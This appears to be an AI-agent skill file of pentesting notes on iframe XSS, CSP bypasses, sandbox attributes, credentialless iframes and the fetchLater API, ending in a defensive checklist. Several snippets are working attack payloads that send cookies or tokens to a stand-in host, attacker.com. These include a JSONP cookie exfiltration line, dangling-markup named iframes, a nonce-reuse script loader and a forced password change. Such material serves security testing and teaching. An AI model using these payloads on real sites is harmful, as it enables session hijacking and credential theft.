Hacktricks-skills iframe-xss-csp-pentest

How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp/SKILL.MD
source content

Iframe XSS, CSP & SOP Pentesting

A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.

Quick Reference

# Start local test server
python3 -m http.server 8000

# Test iframe XSS payloads
# See sections below for specific attack vectors

Iframe XSS Vectors

Three Content Injection Methods

  1. URL-based
    src
    - Load external or same-origin pages
  2. data:
    protocol
    - Embed content directly in the URL
  3. srcdoc
    attribute
    - Embed HTML content directly

Same-Origin Access Patterns

<!-- Parent page -->
<script>
  var secret = "parent-secret";
</script>

<iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe>
<iframe id="same-origin" src="child.html"></iframe>
<iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe>
<iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe>

<script>
  // Cross-origin iframe: CANNOT access child.secret (SOP blocks)
  // Same-origin iframe: CAN access child.secret
  // srcdoc: CAN access (same origin as parent)
  // data: protocol: CANNOT access (null origin)
  
  console.log(document.getElementById('same-origin').contentWindow.secret);
  console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>

Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and

data:
protocol iframes are blocked by SOP.

CSP Bypass Techniques

Basic CSP Bypass via Iframe

Even with

script-src 'none'
, iframes with URL-based
src
can execute scripts:

<!-- Parent with restrictive CSP -->
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<iframe src="malicious.html"></iframe>
<!-- malicious.html (no CSP) -->
<script>
  alert(document.cookie);
  // Can access parent if same-origin
  alert(parent.secret);
</script>

Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass

script-src 'none'
.

Advanced CSP Bypasses (2023-2025)

1. Dangling Markup / Named Iframe Exfiltration

When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:

<!-- Inject before sensitive content -->
<iframe name="//attacker.com/?">
// On attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // Contains leaked data up to next quote

Use case: Leaking CSRF tokens, session IDs, or any reflected data when

script-src 'none'
is enforced.

2. Nonce Reuse via Same-Origin Iframe

If you can inject same-origin HTML, read the nonce from the DOM:

// In same-origin iframe
const nonce = top.document.querySelector('[nonce]').getAttribute('nonce');
const script = top.document.createElement('script');
script.src = 'https://attacker.com/pwn.js';
script.nonce = nonce;
top.document.body.appendChild(script);

Requirements:

  • Same-origin HTML injection point
  • CSP uses nonces (not just hashes)
  • strict-dynamic
    may still allow this

3. Form-Action Hijacking

If

form-action
directive is missing, redirect form submissions:

<!-- Injected iframe or HTML -->
<iframe src="https://attacker.com/capture.php"></iframe>
<form action="https://attacker.com/capture.php" method="POST">
  <!-- Password managers may auto-fill here -->
</form>

Defense: Always include

form-action 'self'
in CSP.

Testing CSP Bypasses

Use the test server script to verify bypasses:

# Run the test server
python3 scripts/test_csp_bypass.py

# Visit http://localhost:8000 to see:
# - Cookie theft with script-src 'self'
# - Various iframe configurations

Sandbox Attribute Testing

Default Restrictions

Empty sandbox applies ALL restrictions:

<iframe sandbox="" src="page.html"></iframe>

Blocked by default:

  • Script execution
  • Form submission
  • Top-level navigation
  • Plugin usage
  • Same-origin access
  • Auto-play media

Granular Permissions

<!-- Allow scripts only (isolated origin) -->
<iframe sandbox="allow-scripts" src="page.html"></iframe>

<!-- Allow scripts + same-origin access -->
<iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe>

<!-- Allow top navigation (user activation required in modern browsers) -->
<iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe>

<!-- Allow downloads without user activation -->
<iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>

Testing Sandbox Escapes

  1. Check if
    allow-same-origin
    is present - enables parent access
  2. Check if
    allow-scripts
    is present - enables JS execution
  3. Check if
    allow-top-navigation
    is present - enables navigation attacks
  4. Test form submission if
    allow-forms
    is present

Credentialless Iframes

What They Do

Chrome 110+ loads iframes without credentials while maintaining SOP:

<iframe src="https://victim.com/page" credentialless></iframe>

Effects:

  • No cookies sent to iframe
  • No localStorage/IndexedDB shared
  • Same-origin scripts can still interact via DOM
  • CSRF protection usually works (no auth cookies)
  • Password managers disabled

Self-XSS + Credentialless Attack

<!-- Attacker page -->
<iframe id="credless" src="https://victim.com/login" credentialless>
  <!-- Contains Self-XSS payload in username field -->
</iframe>

<iframe id="authed" src="https://victim.com/dashboard">
  <!-- User is logged in here -->
</iframe>

<script>
  // After Self-XSS executes in credless iframe
  // Both iframes share same top-level origin
  const cookie = document.getElementById('authed').contentWindow.document.cookie;
  console.log('Stolen cookie:', cookie);
</script>

Requirements:

  • Self-XSS vulnerability on victim site
  • User visits attacker page while logged in
  • Chrome 110+ or equivalent browser

Testing Credentialless Attacks

  1. Check browser support (Chrome 110+, Edge, Firefox 110+)
  2. Look for Self-XSS vectors (user-controlled HTML in profile/settings)
  3. Test if multiple iframes can share DOM access
  4. Verify cookie partitioning behavior

fetchLater API Abuse

What It Does

Defers requests until page unload or timeout:

const req = new Request('/change-password', {
  method: 'POST',
  body: JSON.stringify({password: 'attacker-password'}),
  credentials: 'include'
});

// Execute after 1 minute
fetchLater(req, {activateAfter: 60000});

Attack Pattern

  1. Inject Self-XSS in attacker's session
  2. Set
    fetchLater
    request to perform action
  3. Logout from attacker session
  4. Victim logs in with their credentials
  5. fetchLater
    executes in victim's session

Requirements:

  • Browser supports
    fetchLater
    (emerging API)
  • Self-XSS injection point
  • Victim visits attacker page

Defense:

  • CSP
    connect-src
    controls
    fetchLater
    requests
  • Feature-detect before using

SOP Considerations

Cross-Origin Communication

// Parent page
const iframe = document.getElementById('cross-origin-frame');

// This will FAIL if iframe is cross-origin
try {
  console.log(iframe.contentWindow.document.cookie);
} catch (e) {
  console.log('SOP blocked access:', e.message);
}

// Use postMessage for cross-origin communication
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');

Testing SOP Violations

  1. Check iframe origins - Same-origin vs cross-origin
  2. Test parent access - Can parent read iframe content?
  3. Test child access - Can iframe read parent content?
  4. Test postMessage - Is message origin validation present?
  5. Check for
    null
    origin
    -
    data:
    protocol iframes

Defensive Checklist

For Defenders

  • Include ALL CSP directives:
    form-action
    ,
    frame-src
    ,
    child-src
    ,
    object-src
  • Use
    strict-dynamic
    with nonces, don't rely on nonce secrecy
  • Apply
    sandbox
    carefully - avoid
    allow-same-origin
    unless necessary
  • Consider COOP+COEP deployment
  • Use
    credentialless
    for third-party embeds in COEP environments
  • Validate and sanitize all iframe
    src
    and
    srcdoc
    attributes
  • Implement proper
    postMessage
    origin validation

For Pentesters

  • Test all three iframe content methods (URL, data:, srcdoc)
  • Try CSP bypasses with uploaded files
  • Test dangling markup exfiltration
  • Check for nonce reuse opportunities
  • Test form-action hijacking
  • Verify sandbox restrictions
  • Test credentialless iframe interactions
  • Check for fetchLater support and abuse potential
  • Map SOP boundaries between frames

Common Payloads

<!-- Data: protocol XSS (if allowed) -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

<!-- JSONP endpoint abuse -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe>

<!-- Defer/async script in iframe -->
<iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe>

<!-- Named iframe exfiltration -->
<iframe name="//attacker.com/?token="></iframe>

References